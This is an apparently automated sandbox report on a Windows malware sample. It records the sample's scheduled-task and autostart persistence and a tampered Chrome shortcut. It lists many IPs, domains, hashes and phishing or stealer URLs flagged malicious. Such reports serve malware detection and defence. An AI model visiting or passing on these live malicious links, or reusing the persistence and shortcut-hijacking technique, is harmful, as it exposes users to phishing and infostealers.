Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, tm-prod-wd-csp-edge.trafficmanager.net, clients2.google.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, www-bing-com.dual-a-0001.a-msedge.net, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, business-bing-com.b-0005.b-msedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, wwwprod.www-bing-com.akadns.net, umwatson.events.data.microsoft.com, clients.l.google.com, a1847.dscd.akamai.net, cs9.wpc.v0cdn.net, wildcardtlu.azureedge.net, config.edge.skyp
Execution Graph export aborted for target AddInProcess.exe, PID 7492 because there are no executed function
Execution Graph export aborted for target Target.exe, PID 7384 because it is empty
Execution Graph export aborted for target zlONcFaXkc.exe, PID 7316 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
VT rate limit hit for: zlONcFaXkc.exe

Simulations

Behavior and APIs

Time	Type	Description
22:02:00	Task Scheduler	Run new task: Target path: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe
22:02:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
22:02:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
23:02:02	API Interceptor	110208x Sleep call for process: Target.exe modified
23:02:05	API Interceptor	1x Sleep call for process: zcezeaqsuhi.exe modified
23:02:07	API Interceptor	2x Sleep call for process: svchost.exe modified
23:02:33	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.6.117.16	8vPg8GbGtV.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	https://vip38.net/	Get hash	malicious	Unknown	Browse
	pcz1GpPHfn.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
162.159.61.3	ShadowFury.exe	Get hash	malicious	Unknown	Browse
	ShadowFury.exe	Get hash	malicious	Unknown	Browse
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse
	SenPalia.exe	Get hash	malicious	Unknown	Browse
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse
	SenPalia.exe	Get hash	malicious	Unknown	Browse
	UnderWars.exe	Get hash	malicious	Unknown	Browse
	SenPalia.exe	Get hash	malicious	Unknown	Browse
	SenPalia.exe	Get hash	malicious	Unknown	Browse
	ppop_verification_request.zip	Get hash	malicious	Unknown	Browse
52.159.108.190	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	Setup.msi	Get hash	malicious	Abobus Obfuscator	Browse
	https://alu-met.com/downloads	Get hash	malicious	Unknown	Browse
	http://shsh.ca	Get hash	malicious	Unknown	Browse
	FW EXT Serge Bozhko sent you Air Lease Corporation-VRC CH 12032024 via PandaDoc.msg	Get hash	malicious	Unknown	Browse
	PEDIDO-DOCpdf.rar	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.21065.25594.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	https://stackauth-bainlk.cz/save/sharefile/	Get hash	malicious	Unknown	Browse
13.107.213.41	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
13.107.213.41	http://www.serviceadg.com	Get hash	malicious	Unknown	Browse	fr.linkedin.com/company/service-adg
131.253.33.200	phish_alert_iocp_v1.4.48 (19).eml	Get hash	malicious	Phisher	Browse
	BILL_OF_LADING_02062024_MAERSKLINE.SVG	Get hash	malicious	Phisher	Browse
	5Jrztt780M.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	HFOFKjtjDT.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.1960.11858.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30216.13774.exe	Get hash	malicious	RisePro Stealer	Browse
	aSP9faG585.exe	Get hash	malicious	Unknown	Browse
	https://vaw2gnmr3jhjx6v7xr12.kk7rjoq.ru/ij90/	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=783f1e01b3717b07JmltdHM9MTY5NDM5MDQwMCZpZ3VpZD0xMjJiMDRkNi1kNDk3LTYwODUtMjk2My0xN2UzZDU4YTYxZDQmaW5zaWQ9NTEyNA&ptn=3&hsh=3&fclid=122b04d6-d497-6085-2963-17e3d58a61d4&u=a1aHR0cHM6Ly93d3cubGhhYWYub3JnL2x1Y2FoaWxs&ntb#YTJocVlXNW5RR2hrWld3dVkyOHVhM0k9	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=783f1e01b3717b07JmltdHM9MTY5NDM5MDQwMCZpZ3VpZD0xMjJiMDRkNi1kNDk3LTYwODUtMjk2My0xN2UzZDU4YTYxZDQmaW5zaWQ9NTEyNA&ptn=3&hsh=3&fclid=122b04d6-d497-6085-2963-17e3d58a61d4&u=a1aHR0cHM6Ly93d3cubGhhYWYub3JnL2x1Y2FoaWxs&ntb#YTJocVlXNW5RR2hrWld3dVkyOHVhM0k9	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	Setup.msi	Get hash	malicious	Abobus Obfuscator	Browse	199.232.214.172
addons.i7con.net	file.exe	Get hash	malicious	Unknown	Browse	23.106.238.238
	file.exe	Get hash	malicious	Unknown	Browse	23.106.238.238
	file.exe	Get hash	malicious	Unknown	Browse	23.106.238.238
	file.exe	Get hash	malicious	Unknown	Browse	23.106.238.238
plus.l.google.com	https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Flookerstudio%2Egoogle%2Ecom%2Fs%2FscrHqwjeA3k&urlhash=dcQj&trk=public_profile-settings_topcard-website	Get hash	malicious	Unknown	Browse	172.217.215.139
	https://greatnorthswim.blogspot.com/	Get hash	malicious	Unknown	Browse	142.250.9.101
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	64.233.185.101
	https://lookerstudio.google.com/s/srZVramoVgA	Get hash	malicious	Unknown	Browse	64.233.185.138
	https://theredhendc.com	Get hash	malicious	Unknown	Browse	108.177.122.102
	You have a newly assigned document from Frey Navarro P.L.L.C. .msg	Get hash	malicious	HTMLPhisher	Browse	64.233.177.138
	https://www.ikhweziindustries.com/	Get hash	malicious	Unknown	Browse	172.217.14.110
	tqtYy7oBD5.exe	Get hash	malicious	PureLog Stealer	Browse	172.217.14.78
	http://www.shaferscollision.com	Get hash	malicious	Unknown	Browse	142.251.40.238
	https://lookerstudio.google.com/s/ow_9c3UHIyo	Get hash	malicious	HTMLPhisher	Browse	142.250.65.206
gjhfhgdg.insane.wang	23xCOZerXg.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	185.196.10.233
	KPn7VgIWQj.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	185.196.10.233
	SecuriteInfo.com.Trojan.PackedNET.2147.11643.5777.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	185.196.10.233
	4KwjQMqbmm.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	185.196.10.233
	U8fPEL1Gwi.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	185.196.10.233
	WC8X6qXwRB.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.196.10.233
	8p1dq7mGv1.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.196.10.233
	54ZmPO0sGj.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	185.196.10.233
	govFLMmsZl.exe	Get hash	malicious	PureLog Stealer, Quasar, zgRAT	Browse	185.196.10.233
	9NBx4Vmiuj.exe	Get hash	malicious	PureLog Stealer, XWorm, zgRAT	Browse	185.196.10.233
chrome.cloudflare-dns.com	TeaiGames.exe	Get hash	malicious	NovaSentinel	Browse	162.159.61.3
	https://netorgft12232017-my.sharepoint.com:443/:f:/g/personal/lisa_imjts_com/EsnpAMoHQfhBluK8Y5tDE68BaHrT-12huxTJR_ZqVWR4tA?e=5%3aZZh3dZ&at=9	Get hash	malicious	Unknown	Browse	172.64.41.3
	ShadowFury.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	ShadowFury.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	162.159.61.3
	SenPalia.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	UnderWars.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	162.159.61.3
	SenPalia.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	UnderWars.exe	Get hash	malicious	Unknown	Browse	162.159.61.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	EXTERNAL Bonnie St Dryden is inviting you to collaborate on One_docx(Apr 23) DOC3848493.msg	Get hash	malicious	HTMLPhisher	Browse	23.47.204.40
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	23.53.35.114
	https://sunhos-my.sharepoint.com/:b:/g/personal/mcaffrey_suncrestcare_com/EVEm8VhV9TBDp7AQUrliImYB4Kt7rXcd_m6-8qNUjxBhTA?e=P3XNTL&xsdata=MDV8MDJ8cHJpY2hhcmRzb25AY2FsdG9uLmNvbXxkM2U5ZTc1MTlkNDA0NmI2OWMzODA4ZGM2M2JhOTA4Y3w3YjU1NzU2YTg5NTg0ZWNlODFkYzVkYTZhYmRiNmE5N3wwfDB8NjM4NDk0OTAwMTUyMzMwMjUxfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=TldIbEg2OTJiSkRUS29RRElmU3dYbTBRQUlqUTBBMXZPcGlIaTlzNnlOQT0%3d	Get hash	malicious	HTMLPhisher	Browse	23.46.239.25
	Remittance. #U0440df.html	Get hash	malicious	HTMLPhisher	Browse	23.34.240.168
	https://www.msn.com/en-us/autos/enthusiasts/what-s-the-difference-between-a-shelby-mustang-and-a-regular-mustang/ar-AA1ntM5Z?ocid=entnewsntp&pc=U531&cvid=8b8aa9e3e14d4164a6a2181020104694&ei=36	Get hash	malicious	Unknown	Browse	23.61.11.173
	c3nBx2HQG2.exe	Get hash	malicious	Glupteba, Mars Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	96.6.42.17
	https://eu.docusign.net/Signing/EmailStart.aspx?a=c2316afe-212a-443e-8085-9617c789ff9e&acct=3b74c8d0-0c86-4fe6-a37e-391f3ae29b50&er=eaaa56e8-48ca-4278-8838-760c6115596a	Get hash	malicious	HTMLPhisher	Browse	23.53.11.209
	https://u43957641.ct.sendgrid.net/ls/click?upn=u001.0Q2k6Tkbkoom04JcBCS1bm-2FvOge1W36GwvuSdih0P4JugvzV4-2FrWyPqZWCP-2FjIBNLIQsDH-2BiJ-2FwtGIsQEo-2F1lg-3D-3DD4vy_FXZTG-2Bj8dxNvEuxDJrPqKA8uB9LHQ48OflWnDl8SlkMIeqE5kJRv-2BwjlJ-2BTz9LaXXbddhQoxXZFjW61L1BulkplVPhKO5ARKFw4WBNXwUjDYnN9WjvMC1qZal-2BSbiVhkNDXHzo0-2BRl2juwpMn3h9dNAq9ZBCf8LnPEOZY9GqbZetUAeU7Eutkrra6RqLG0LYTAB9pnUknxEinL3j6RW-2F5AawLVk6-2FJEsz0F-2FhvPx4oc-3D	Get hash	malicious	HTMLPhisher	Browse	172.232.192.99
	SgtB2WW8ys.elf	Get hash	malicious	Mirai	Browse	104.96.77.57
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	23.1.33.10
CLOUDFLARENETUS	https://kbl8wfhm2.xn--90a1ajj.xn--p1ai/lm.php?tk=U2VjdXJpdHkJCQlzZWN1cml0eUB2ZWN0cmEuYWkJNzIxMjk1NDI1CTQ4NTE4MTgyMjA5NTU2OQlQeXRob25fTmV3CTE4OTkyODA2NDIJb3Blbglubwlubw==&url=https%3A%2F%2FS8p8QERcQ.xn--90a1ajj.xn--p1ai%2Flm%2Fpictures%2Fcti.png	Get hash	malicious	Unknown	Browse	172.67.169.56
	EXTERNAL Bonnie St Dryden is inviting you to collaborate on One_docx(Apr 23) DOC3848493.msg	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	http://improvingpayments.com	Get hash	malicious	Unknown	Browse	172.67.152.194
	https://forms.osi.office365.us/r/sWNQn6JMmp	Get hash	malicious	Unknown	Browse	1.1.1.1
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://lithiuimvalley.com/ssd	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.31.174
	https://www.canva.com/design/DAGDQX9C1RA/ikoShuUWpLZHCz9c3cYitg/view?utm_content=DAGDQX9C1RA&utm_campaign=designshare&utm_medium=link&utm_source=editor__;!!CyJlM5U!9gbXWj2ch6yN1Y5XKwfOUHQShQIbTlzYRSO4Um3mFsV2g5g0oW-nJ8MZWZtDhmirJBaPx4ZvIj53wB9NG9AkzdEZQzUOutWiQQ$	Get hash	malicious	Unknown	Browse	104.16.103.112
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.4.208
AKAMAI-ASN1EU	EXTERNAL Bonnie St Dryden is inviting you to collaborate on One_docx(Apr 23) DOC3848493.msg	Get hash	malicious	HTMLPhisher	Browse	23.47.204.40
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	23.53.35.114
	https://sunhos-my.sharepoint.com/:b:/g/personal/mcaffrey_suncrestcare_com/EVEm8VhV9TBDp7AQUrliImYB4Kt7rXcd_m6-8qNUjxBhTA?e=P3XNTL&xsdata=MDV8MDJ8cHJpY2hhcmRzb25AY2FsdG9uLmNvbXxkM2U5ZTc1MTlkNDA0NmI2OWMzODA4ZGM2M2JhOTA4Y3w3YjU1NzU2YTg5NTg0ZWNlODFkYzVkYTZhYmRiNmE5N3wwfDB8NjM4NDk0OTAwMTUyMzMwMjUxfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=TldIbEg2OTJiSkRUS29RRElmU3dYbTBRQUlqUTBBMXZPcGlIaTlzNnlOQT0%3d	Get hash	malicious	HTMLPhisher	Browse	23.46.239.25
	Remittance. #U0440df.html	Get hash	malicious	HTMLPhisher	Browse	23.34.240.168
	https://www.msn.com/en-us/autos/enthusiasts/what-s-the-difference-between-a-shelby-mustang-and-a-regular-mustang/ar-AA1ntM5Z?ocid=entnewsntp&pc=U531&cvid=8b8aa9e3e14d4164a6a2181020104694&ei=36	Get hash	malicious	Unknown	Browse	23.61.11.173
	c3nBx2HQG2.exe	Get hash	malicious	Glupteba, Mars Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	96.6.42.17
	https://eu.docusign.net/Signing/EmailStart.aspx?a=c2316afe-212a-443e-8085-9617c789ff9e&acct=3b74c8d0-0c86-4fe6-a37e-391f3ae29b50&er=eaaa56e8-48ca-4278-8838-760c6115596a	Get hash	malicious	HTMLPhisher	Browse	23.53.11.209
	https://u43957641.ct.sendgrid.net/ls/click?upn=u001.0Q2k6Tkbkoom04JcBCS1bm-2FvOge1W36GwvuSdih0P4JugvzV4-2FrWyPqZWCP-2FjIBNLIQsDH-2BiJ-2FwtGIsQEo-2F1lg-3D-3DD4vy_FXZTG-2Bj8dxNvEuxDJrPqKA8uB9LHQ48OflWnDl8SlkMIeqE5kJRv-2BwjlJ-2BTz9LaXXbddhQoxXZFjW61L1BulkplVPhKO5ARKFw4WBNXwUjDYnN9WjvMC1qZal-2BSbiVhkNDXHzo0-2BRl2juwpMn3h9dNAq9ZBCf8LnPEOZY9GqbZetUAeU7Eutkrra6RqLG0LYTAB9pnUknxEinL3j6RW-2F5AawLVk6-2FJEsz0F-2FhvPx4oc-3D	Get hash	malicious	HTMLPhisher	Browse	172.232.192.99
	SgtB2WW8ys.elf	Get hash	malicious	Mirai	Browse	104.96.77.57
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	23.1.33.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	KxgGGaiW3E.exe	Get hash	malicious	Quasar	Browse	13.107.213.41
	EXTERNAL Bonnie St Dryden is inviting you to collaborate on One_docx(Apr 23) DOC3848493.msg	Get hash	malicious	HTMLPhisher	Browse	40.126.32.136
	https://forms.osi.office365.us/r/sWNQn6JMmp	Get hash	malicious	Unknown	Browse	52.127.240.61
	https://lithiuimvalley.com/ssd	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.213.41
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://www.jottacloud.com/s/359ee8b110b8ca8464998842a5d227ed979	Get hash	malicious	HTMLPhisher	Browse	20.76.133.196
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	20.42.65.92
	https://assets-usa.mkt.dynamics.com/6f8aa86c-81f8-ee11-a1fa-0022482e8338/digitalassets/standaloneforms/4b367e61-8601-ef11-a1fd-0022482f3701	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	https://sunhos-my.sharepoint.com/:b:/g/personal/mcaffrey_suncrestcare_com/EVEm8VhV9TBDp7AQUrliImYB4Kt7rXcd_m6-8qNUjxBhTA?e=P3XNTL&xsdata=MDV8MDJ8cHJpY2hhcmRzb25AY2FsdG9uLmNvbXxkM2U5ZTc1MTlkNDA0NmI2OWMzODA4ZGM2M2JhOTA4Y3w3YjU1NzU2YTg5NTg0ZWNlODFkYzVkYTZhYmRiNmE5N3wwfDB8NjM4NDk0OTAwMTUyMzMwMjUxfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=TldIbEg2OTJiSkRUS29RRElmU3dYbTBRQUlqUTBBMXZPcGlIaTlzNnlOQT0%3d	Get hash	malicious	HTMLPhisher	Browse	20.189.173.23
	_file____C__Users_hp_Downloads_C__Users_moodyt_AppData_Local_Temp_2_RemittanceAdvice17-Apr-2024.html	Get hash	malicious	Unknown	Browse	13.107.213.51

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	KxgGGaiW3E.exe	Get hash	malicious	Quasar	Browse	40.126.29.9 20.12.23.50
	https://kbl8wfhm2.xn--90a1ajj.xn--p1ai/lm.php?tk=U2VjdXJpdHkJCQlzZWN1cml0eUB2ZWN0cmEuYWkJNzIxMjk1NDI1CTQ4NTE4MTgyMjA5NTU2OQlQeXRob25fTmV3CTE4OTkyODA2NDIJb3Blbglubwlubw==&url=https%3A%2F%2FS8p8QERcQ.xn--90a1ajj.xn--p1ai%2Flm%2Fpictures%2Fcti.png	Get hash	malicious	Unknown	Browse	40.126.29.9 20.12.23.50
	https://lithiuimvalley.com/ssd	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	40.126.29.9 20.12.23.50
	https://www.canva.com/design/DAGDQX9C1RA/ikoShuUWpLZHCz9c3cYitg/view?utm_content=DAGDQX9C1RA&utm_campaign=designshare&utm_medium=link&utm_source=editor__;!!CyJlM5U!9gbXWj2ch6yN1Y5XKwfOUHQShQIbTlzYRSO4Um3mFsV2g5g0oW-nJ8MZWZtDhmirJBaPx4ZvIj53wB9NG9AkzdEZQzUOutWiQQ$	Get hash	malicious	Unknown	Browse	40.126.29.9 20.12.23.50
	https://proofpoint.onelogin.sso-signon.com/	Get hash	malicious	Unknown	Browse	40.126.29.9 20.12.23.50
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DlLb9_7VBE-2BPKrWdDFE8TeQU0FNoYmRNt3BbsAfHCQfpyMVcUv91cWM1GbR6tMnpfVZqwoeCii1Z-2FHB6Wp4CGi-2FJ4Nq2flvhbRyRKwbWUqyssDslf87wBQZbBQ0EZsTXlvzjuj1ZnarL4QCJJlvUup-2FiM-2F9GPG6X3nhhKKp6sQ0v-2BBs5Jrrpzc3e5B2aUKKEJUx1Hjrx3xc16wmpK1HmM2sLiNIweMaJlJ9frDis7-2BK565mLw-3D	Get hash	malicious	HTMLPhisher	Browse	40.126.29.9 20.12.23.50
	https://webmail.cmxserver.com/authsecure/index.php?email=kaylen@virtualintelligencebriefing.com	Get hash	malicious	Unknown	Browse	40.126.29.9 20.12.23.50
	MBSetup.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	40.126.29.9 20.12.23.50
	https://assets-usa.mkt.dynamics.com/6f8aa86c-81f8-ee11-a1fa-0022482e8338/digitalassets/standaloneforms/4b367e61-8601-ef11-a1fd-0022482f3701	Get hash	malicious	HTMLPhisher	Browse	40.126.29.9 20.12.23.50
	https://share.hsforms.com/1PL2qy4o7QVa5ApT9dgY2igrct2w	Get hash	malicious	Unknown	Browse	40.126.29.9 20.12.23.50

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4277bb07, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221381871899138
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/dvoMrSU0OrsJzv2Ykr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kN:baza/vSzM2UvzO
MD5:	F373307C768F4738B91AD9473B0857AF
SHA1:	8052160C48888E1CE9EE94ACBDB54550EBCA7314
SHA-256:	C3C9096F5CEA248223F4AF75CDE8C6D7D9981F1DFD0A8093B8C0A70FE5F10BAA
SHA-512:	ECD458FCB47DA214C6929D78B3CCFAEA73944FA7A4EA9DA22D865438153CB30E6E5443FC3653985F6DE21D0AC293E93C797BEF7871A4AA0029678431763F507A
Malicious:	false
Preview:	Bw..... .......A.......X\...;...{......................0.!..........{A......\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................2.....\|.....................1.....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:16 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	3.5088132170174755
Encrypted:	false
SSDEEP:	48:8SGdZTzoRGRYrnvVdAKRkdA5q+9Jq87dAKRFdAKR/U:8S4w1
MD5:	A33C10A319CB9D80F315088FF5617209
SHA1:	72D07AFE7FDDCDA5F108D8458EB37A80CF183531
SHA-256:	30A7A9F209C7C1BD74C68B0099803E8D52C5D95AC4B57DD819685B90DA1B883F
SHA-512:	2827853569727A51F4851CD2DC32094E365DD86ACF1CF0C75443B22617E443A787323333F20607694E72E987107142512E9011C830E2C055530671AB20FB8A4F
Malicious:	false
Preview:	L..................F.@.. ......,...............q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW.V....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDW.W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDW(W....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWI`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.A.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-.-.l.o.a.d.-

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe
